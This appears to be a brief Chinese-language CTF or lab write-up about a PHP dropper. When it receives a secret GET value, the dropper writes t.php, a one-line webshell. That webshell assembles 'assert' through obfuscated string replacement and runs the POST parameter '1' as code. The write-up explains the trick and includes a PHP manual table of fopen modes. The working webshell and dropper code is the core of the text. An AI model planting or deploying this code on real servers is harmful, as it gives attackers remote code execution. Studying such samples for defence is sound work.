<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){ //若get到的1不为空且1=GET.fPZ87的话执行下面操作
$_=@fopen('t.php', 'a'); //创建t.php并写入
@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2])); //写进t.php
@\$_(\$_POST[1]);?>");
@fclose($_);
}
?>
mode 参数的可能的值
mode | 说明 |
---|---|
"r" | 只读方式打开,将文件指针指向文件头。 |
"r+" | 读写方式打开,将文件指针指向文件头。 |
"w" | 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 |
"w+" | 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 |
"a" | 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 |
"a+" | 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 |
"x" | 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。 这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。 此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 |
"x+" | 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。 这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。 此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 |
将$GET_[2]接收到的值中的vey替换为ert,ilo替换为ass,也是时候当2=ilovey是,构成assert($_POST[1]),密码为1的一句话,生成的t.php文件是一个webshell
先执行以下命令(进入以下网页生成t.php并写入)
这是生成的t.php文件及内容
获得key